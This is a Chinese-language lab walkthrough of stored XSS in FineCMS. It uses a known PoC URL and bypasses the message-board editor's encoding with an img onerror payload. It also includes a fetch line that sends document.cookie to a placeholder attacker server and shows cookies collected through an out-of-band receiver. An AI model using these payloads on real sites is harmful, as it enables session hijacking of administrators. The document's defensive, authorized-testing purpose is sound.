目录
FineCMS 是一款开源的内容管理系统。经安全研究人员披露,该系统在特定版本中存在存储型跨站脚本(Stored XSS)漏洞,攻击者可利用该漏洞在管理员查看特定页面(如错误日志、留言管理)时执行任意 JavaScript 代码。
一、在空位尝试注入Xss
首先浏览一下全页,看见空位就注入,然后弹检查,看注入数据的返回位置。

发现:

尝试插入<script>alert(1)</script>,发现被过滤到完全无法分辨。

再测测别的元素,比如href javascript onclick alert(1) <script>,发现连空格都被过滤啦

证明:这里没有注入点。
二、全网搜索FineCMS相关Xss漏洞POC
随便打开一个网页,查CMS的已知POC

POC:http://www.finecms01.com/index.php?c=mail&m=test

出现这个页面是正常的,根据POC讲解:这里其实插入了一段错误日志,需要到CMS的后台去查看。
URL是:/admin.php

发现后台有记录,那么尝试在test后面继续写:
payload:标准脚本标签(如 <script>alert(1)</script>)


还是显示错误,回到后台的错误日志,查看,发现弹窗啦。

三、留言板富文本编辑器Xss漏洞


测试,提交内容,进入后台留言表单查看:

再进入检查,查看返回位置,发现实体编码转义了<>,没辙。

这里盲猜一下会不会是在前台富文本编辑器里输入内容的时候就被转义了呢?去看看

tips注意:这里一定要在检查里右键打开格式修改,才能看到有没有转义符号的情况!
发现在前台输入内容时候就已经被转义了:

1、尝试在前台检查里就把本被过滤的内容改掉

更改提交后,看看后台情况:发现script与alert(1)被强行分割开来了,没辙,看来这个script的基础payload不行。

2.尝试另一种形式的payload
利用img: 444444444<img src=1 οnerrοr=alert(1)>

根据上文步骤,在检查的格式修改里把被实体编码的payload改掉之后,保存,前端页面出现了非预期的 JavaScript 执行现象。注意:这里弹窗之后,一定要添加点内容,让文本器自动保存之后,再提交内容。
去到后台看看:后台同样复现了该异常行为,表明脚本被持久化存储。
如果攻击者在这里利用xss注入一段前后端配合的存储型攻击链,当管理员登录后台并查看该留言时,XSS 被触发,其浏览器会自动将当前页面的 Cookie(若未设置 HttpOnly)发送至攻击者服务器。可能导致管理员会话被劫持。
如:
javascript
<img src=x onerror="fetch('https://[服务器地址]/steal?c='+document.cookie)">

四、编辑器找漏洞方法
可以看一下留言板页面的源代码,看看有什么信息泄露:

在图中位置发现了ueditor
在浏览器搜索"编辑器漏洞总结",也是找到这个页面可能存在漏洞的方法之一。

五、尝试利用xss漏洞获取cookie值
发现后台启用了一个httponly

前台页面也启用了一个httponly:

httponly是禁止偷取cookie的配置,在前端改不了,只能在后端进行修改。
通过构造外带请求,可观察到非HttpOnly的Cookie数据被回传至外部端点(实验验证)
打开你的lotus获取src

然后利用前面已知的FineCMS的POC,注入:

POC:http://www.finecms01.com/index.php?c=mail&m=test

随后,访问后台的错误日志,再回到Lotus,发现收到一封邮件:

OK,拿到了cookie!但是,获取到的cookie值实际上是不完整的。


因为提到的第一个cookie参数被设置了httponly。
document.cookie仅能读取未设置 httponly的 Cookie,若会话令牌(如 PHPSESSID)启用了 httponly,则无法通过 XSS 获取,攻击失败。

从已登录检查的网络里获取到的Cockie值才是完整的。
到此结束,发现cookie可以被获取,但不完全。默认httponly是关闭的,若会话 Cookie 未启用 HttpOnly 标志,则可能被恶意脚本读取,进而引发会话劫持可能。
六、防御
实验表明,当会话 Cookie 未设置 HttpOnly 属性时,存储型 XSS 可导致敏感凭证泄露。
强烈建议开发者:
- 为所有会话 Cookie 添加
HttpOnly和Secure标志; - 对富文本输入实施上下文相关的输出编码(如 HTML Entity Encode);
- 部署 CSP(内容安全策略)限制内联脚本执行。
本文仅用于安全研究与授权渗透测试,严禁对未授权目标实施攻击。